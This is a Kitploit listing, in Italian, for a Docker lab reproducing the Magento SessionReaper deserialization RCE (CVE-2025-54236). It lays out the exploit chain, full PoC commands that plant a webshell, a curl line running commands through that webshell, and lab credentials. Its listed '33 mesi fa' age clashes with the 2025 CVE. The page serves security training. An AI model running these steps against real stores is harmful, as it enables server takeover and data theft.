Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
session_reaper_lab — Ambiente Docker per la dimostrazione pratica della CVE-2025-54236 (SessionReaper): deserializzazione di oggetti PHP che porta a RCE in Magento Open Source 2.4.7 | Kitploit
Strumenti/GitHubGitHub/brito101/session_reaper_lab
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubbrito101/session_reaper_lab

session_reaper_lab

Ambiente Docker per la dimostrazione pratica della CVE-2025-54236 (SessionReaper): deserializzazione di oggetti PHP che porta a RCE in Magento Open Source 2.4.7

Vedi Repository
33 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-54236 - Laboratorio SessionReaper

Ambiente Docker per dimostrazione pratica della CVE-2025-54236 (SessionReaper): deserializzazione di oggetti PHP che porta a RCE in Magento Open Source 2.4.7.

Uso esclusivo in ambiente controllato. Non eseguire contro sistemi senza autorizzazione esplicita.


Sulla vulnerabilità

CVE-2025-54236 colpisce Magento Open Source e Adobe Commerce fino alla versione 2.4.7. Il metodo ServiceInputProcessor::getConstructorData() accetta parametri annidati via JSON che consentono di sovrascrivere session.save_path - la cartella dove PHP memorizza i file di sessione.

Catena di sfruttamento:

  1. Un file PHP serializzato (gadget chain Guzzle/FW1 tramite phpggc) viene inviato via /customer/address_file/upload, che lo salva in pub/media/customer_address/s/e/sess_<id>.
  2. Una richiesta all'API REST inietta come parametro del costruttore.
{"session": {"save_path": "/var/www/html/pub/media/customer_address/s/e/"}}
  • PHP chiama session_start() con il PHPSESSID fabbricato, deserializza la gadget chain e scrive una webshell in pub/errors/.
  • Prerequisito: sessioni PHP configurate come file-based (non Redis/Memcached).

    • CVSS: 9.1 (Critical)
    • Versioni interessate: Magento Open Source / Adobe Commerce ≤ 2.4.7

    Struttura del repository

    root@kitploit:~
    magento/
    ├── lab-magento/              # Docker lab (Magento 2.4.7 vulnerável)
    │   ├── Dockerfile            # PHP 8.2-FPM com extensões Magento
    │   ├── docker-compose.yml    # Stack: PHP-FPM, Nginx, MySQL 8, ES 7, Redis
    │   ├── .env                  # Configurações do ambiente
    │   ├── conf/
    │   │   ├── nginx/            # VirtualHost nginx
    │   │   └── php/magento.ini   # Sessões file-based, memory_limit=2G
    │   └── scripts/
    │       ├── 01-install.sh     # Instalação completa do zero
    │       └── 02-demo-setup.sh  # Prepara produto, payload e imprime instruções
    ├── SessionReaper-CVE-2025-54236/
    │   └── session_reaper.py     # PoC principal (autor: alexb616)
    └── payloads/
        ├── shell.php             # Webshell com aspas simples (evita escape JSON)
        └── sess_payload.bin      # Gadget chain serializada (gerado pelo script)
    

    Requisiti

    • Docker Engine 24+
    • Docker Compose v2 (docker compose)
    • PHP CLI (per phpggc) oppure Docker con immagine ambionics/phpggc disponibile
    • phpggc - https://github.com/ambionics/phpggc
      • session_reaper.py cerca il binario in: PATH di sistema, ~/phpggc/phpggc, /opt/phpggc/phpggc e, come fallback, scarica automaticamente l'immagine Docker ambionics/phpggc
    • Python 3.8+ con requests (pip install requests)
    • WSL2 / Linux (su WSL2, potrebbe essere necessario: sudo sysctl -w vm.max_map_count=262144 per Elasticsearch)

    Installazione

    root@kitploit:~
    cd lab-magento
    
    # 1. Instalar Magento 2.4.7 do zero (~25 minutos)
    bash scripts/install.sh
    

    install.sh fa:

    • Build dell'immagine PHP personalizzata
    • Avvia i 5 container (PHP-FPM, Nginx, MySQL, Elasticsearch, Redis)
    • Clona Magento 2.4.7 via Git (senza account Marketplace)
    • Esegue composer install --no-dev
    • Esegue setup:install con sessioni file-based
    • Imposta la modalità default (non developer - evita che i warning PHP 8.2 diventino eccezioni)
    • Disabilita 2FA per un accesso facilitato all'admin
    • Esegue setup:static-content:deploy
    • Corregge i permessi www-data in tutte le fasi

    Esecuzione dell'exploit

    Dopo l'installazione, dalla directory principale (/magento/):

    root@kitploit:~
    python3 SessionReaper-CVE-2025-54236/session_reaper.py \
        --host http://localhost:8080 \
        --method order \
        --payload-in lab-magento/payloads/shell.php \
        --payload-out /var/www/html/pub/errors/cve_lab.php \
        --save-path /var/www/html/pub/media/customer_address/s/e/ \
        --no-proxy
    

    Verificare la RCE:

    root@kitploit:~
    curl "http://localhost:8080/errors/cve_lab.php?cmd=id"
    # Saída esperada: uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

    Metodo alternativo (vettore address, con prodotto reale):

    root@kitploit:~
    python3 SessionReaper-CVE-2025-54236/session_reaper.py \
        --host http://localhost:8080 \
        --method address \
        --sku DEMO-001 \
        --payload-in lab-magento/payloads/shell.php \
        --payload-out /var/www/html/pub/errors/cve_lab.php \
        --save-path /var/www/html/pub/media/customer_address/s/e/ \
        --no-proxy
    

    Credenziali del laboratorio

    ServizioURL / HostCredenziali
    Negozio Magentohttp://localhost:8080/-
    Admin Magentohttp://localhost:8080/admin/admin / Admin123!
    MySQLlocalhost:3306magento / magento
    Elasticsearchlocalhost:9200-

    La URI dell'admin viene generata casualmente durante l'installazione. Per trovarla:

    root@kitploit:~
    docker exec lab_magento_php bash -c "cd /var/www/html && php bin/magento info:adminuri"
    

    Monitoraggio

    root@kitploit:~
    # Sessões criadas pelo exploit
    docker exec lab_magento_php ls -la /var/www/html/var/session/
    
    # Arquivo de sessão malicioso em media/
    docker exec lab_magento_php find /var/www/html/pub/media/customer_address/ -type f
    
    # Logs em tempo real
    docker logs lab_magento_nginx -f
    docker logs lab_magento_php -f
    

    Pulizia

    root@kitploit:~
    # Remover webshell
    docker exec lab_magento_php rm -f /var/www/html/pub/errors/cve_lab.php
    
    # Parar containers
    docker compose -f lab-magento/docker-compose.yml down
    
    # Destruir tudo (containers + volumes)
    docker compose -f lab-magento/docker-compose.yml down -v
    

    Dettagli tecnici

    Perché le virgolette singole nella webshell? phpggc Guzzle/FW1 serializza il payload come JSON: [{"Expires":1,"Discard":false,"Value":"PAYLOAD\n"}]. Il contenuto PHP è JSON-encoded, quindi " diventa \". Usare $_GET["cmd"] risulterebbe in $_GET[\"cmd\"] - errore di parse di PHP. La soluzione è scrivere la webshell con virgolette singole: $_GET['cmd'].

    Perché modalità default e non developer? Magento in modalità developer converte tutti i PHP warning in eccezioni. PHP 8.2 emette Warning: Trying to access array offset on null in lib/internal/Magento/Framework/View/Element/Html/Calendar.php:114, che diventa un'eccezione 500 nell'admin. In modalità default il warning viene ignorato.

    Perché i file finiscono in s/e/? Magento organizza gli upload degli indirizzi in pub/media/customer_address/{1º char}/{2º char}/filename. Per i file sess_*, il primo carattere è s e il secondo è e, risultando sempre in pub/media/customer_address/s/e/.


    Riferimenti

    • NVD - CVE-2025-54236
    • PoC originale - alexb616/SessionReaper-CVE-2025-54236
    • phpggc - ambionics/phpggc
    • Adobe Security Bulletin APSB25-94
    Scarica lo strumento